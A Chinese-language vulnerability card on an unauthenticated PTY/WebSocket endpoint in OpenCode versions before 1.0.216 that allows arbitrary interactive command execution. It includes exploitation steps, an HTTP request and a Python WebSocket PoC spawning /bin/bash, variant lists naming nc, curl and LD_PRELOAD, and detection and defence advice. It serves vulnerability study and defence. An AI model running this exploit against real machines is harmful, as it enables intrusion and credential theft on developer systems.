OpenCode <1.0.216 无认证 /pty + WebSocket:任意 command/args/cwd/env 直接 spawn 成交互式 shell
ai-security/agent-security · verified
一句话结论
OpenCode < 1.0.216 的 HTTP 服务无任何认证,POST /pty 把请求体中的 command、args、cwd、env 原样交给 bun-pty 的 spawn();随后攻击者连接 ws://host:4096/pty/{id}/connect,WebSocket 消息被直接写入伪终端进程,形成可交互、可回显的任意命令执行,比一次性 /session/:id/shell 更强大。
原理
- 无认证路由:
packages/opencode/src/server/server.ts注册/pty相关路由(POST /pty创建、GET /pty列出、GET /pty/:id查询、DELETE /pty/:id删除,以及 WebSocket/pty/:id/connect),路由处理函数中没有 token、会话或权限校验;默认服务监听127.0.0.1:4096,并配置通配 CORS,因此本机任意进程或允许 CORS 的网页都可调用。 - 完全用户可控的进程参数:
Pty.create(input)取command = input.command || Shell.preferred()、args = input.args || []、cwd = input.cwd || Instance.directory、env = { ...process.env, ...input.env, TERM: "xterm-256color" },然后调用spawn(command, args, { name, cwd, env })。command与args是分离的 argv 数组,攻击者不局限注入某个固定 shell 的命令串,而是可以直接指定任意可执行文件及其参数。 - WebSocket 直通 PTY:
Pty.connect(id, ws)找到会话后把ws加入订阅者,先回放缓冲区输出;onMessage对收到的内容只做session.process.write(String(message)),没有任何过滤、命令白名单或确认。因此攻击者可以通过 WebSocket 发送id\n、cat /etc/passwd\n等,实时读取 PTY 的 stdout/stderr。 - 为什么比
/shell更强:/session/:id/shell是一次性spawn+ 等待输出;PTY 提供真实终端语义,可运行交互式程序、维持长会话、处理需要 TTY 的命令(sudo、ssh、数据库客户端、编辑器等),并可随时切换到全交互 shell;同时cwd与env可控,能改变工作目录、PATH、代理/凭据环境等。 - 权限边界:PTY 子进程继承 OpenCode 进程的环境与用户权限;开发机场景下通常是开发者本人,可访问源码、SSH 私钥、云凭证和本地配置文件。若服务被绑定到
0.0.0.0或通过代理/端口映射暴露,网络攻击者可直接创建 PTY,不需要浏览器。 - 浏览器侧说明:
POST /pty与普通 JSON 接口一样受 CORS 影响,通配配置允许任意来源读取创建结果;WebSocket 本身不受同源策略阻止,服务端也不校验Origin。但 HTTPS 页面连接ws://127.0.0.1可能被混合内容策略拦截,因此浏览器驱动场景需结合页面协议/上下文判断;原文给出的验证脚本是本地 Python 客户端,直接访问本机 API。
触发条件
- 目标运行 OpenCode
< 1.0.216,HTTP 服务在 4096 端口可达(默认仅本机,也可被代理/端口映射暴露)。 - 服务未加认证,攻击者能发送
POST /pty并建立 WebSocket 连接。 - 进程用户有执行目标程序的权限;
cwd指定目录存在或可访问。 - 若从浏览器发起,恶意页面需能访问
127.0.0.1:4096,且 WebSocket 不被页面安全策略(如 HTTPS 混合内容)阻断。
利用步骤
GET /global/health确认 OpenCode 服务可达,响应类似{"healthy":true,"version":"local"}。POST /pty创建 PTY,body 至少包含{"command":"/bin/bash"};可选args、cwd、title、env。响应返回id、pid、cwd、status。- 连接
ws://<host>:4096/pty/<id>/connect,读取初始 banner/缓冲输出。 - 通过 WebSocket 发送命令(追加换行),接收并解析输出;Linux 示例
/bin/bash,Windows 示例cmd.exe。 - 如需一次性执行,可创建
/bin/sh并以args: ["-c", "id"]启动,或创建 shell 后发送单条命令。 - 完成后
DELETE /pty/<id>清理会话;授权测试使用无害命令并清理落地文件。
PoC
最小 HTTP 创建请求:
POST /pty HTTP/1.1
Host: 127.0.0.1:4096
Content-Type: application/json
{"command":"/bin/bash","args":[],"cwd":"/tmp","title":"demo"}
响应示例字段:{"id":"pty_bb79b48d1001vuqksdsEz03HxK","pid":91982,"command":"/bin/bash","cwd":"/tmp","status":"running"}。
WebSocket 交互(Python 伪代码):
import asyncio, json, websockets, aiohttp
async def main():
async with aiohttp.ClientSession() as s:
async with s.post("http://127.0.0.1:4096/pty",
json={"command": "/bin/bash", "args": [], "cwd": "/tmp"}) as r:
pty = await r.json()
uri = f"ws://127.0.0.1:4096/pty/{pty['id']}/connect"
async with websockets.connect(uri) as ws:
try:
print(await asyncio.wait_for(ws.recv(), timeout=0.5), end="")
except asyncio.TimeoutError:
pass
await ws.send("id\n")
while True:
try:
print(await asyncio.wait_for(ws.recv(), timeout=1.0), end="")
except asyncio.TimeoutError:
break
asyncio.run(main())
一次性命令也可用 curl + websocat 完成同样流程;Windows 将 command 换成 cmd.exe、args 换成 ["/c","whoami"]。
变体与关联
- 可执行文件变体:
/bin/bash、/bin/sh、cmd.exe、powershell.exe、python、curl、nc等;args可传-c//c直接执行命令,也可启动任意交互程序。 - 环境/目录变体:
cwd指向源码目录、Web 根目录或用户主目录;env覆盖PATH、LD_PRELOAD、代理变量、HOME等,影响子进程加载与凭据读取。 - 端点变体:同一无认证服务还提供
GET /file/content(任意文件读取,原文只列出未展开验证)与POST /session/:id/shell(一次性命令执行,见关联卡)。 - 关联卡片:[[ai-security-agent-security-opencode-unauth-session-shell-cors-rce]](同版本
/shell+ CORS 链)、[[web-nodejs-opencode-ai-url-param-xss-local-pty-rce]](同产品Pty.create,但入口是 url 参数 XSS,本卡无需 XSS)、[[ai-security-mcp-security-browser-use-webui-gradio-origin-bypass-csrf-stdio-rce]](本地 AI 服务 CSRF→命令执行)。 - 边界:服务未启动、端口不可达、加了认证或只允许可信 Origin 时不可利用;
cwd不存在或command不存在时创建失败;浏览器 WebSocket 可能受混合内容策略限制,直接网络访问不受此限。
检测与防御
- 升级与网络:升级到 1.0.216 或更高版本;默认只监听
127.0.0.1,禁止将 4096 暴露到公网/不可信网络;远程访问放在认证反向代理或 SSH 隧道后。 - 认证与输入控制:给
/pty及 WebSocket 握手增加 token/会话认证与 Origin 校验;对command/args做 allowlist,禁止任意二进制与敏感cwd/env;PTY 创建前要求用户确认。 - 最小权限:以低权限用户运行 OpenCode,限制其可读的代码、凭据与目录;隔离敏感环境变量。
- 检测:监控
POST /pty、/pty/*/connectWebSocket 连接及创建频率;审计bun-pty/子进程树中的 shell、id、cat、curl、nc等异常命令;检查 4096 监听地址、CORS 响应头与 OpenCode 版本;发现异常 PTY 会话立即DELETE并排查落地文件。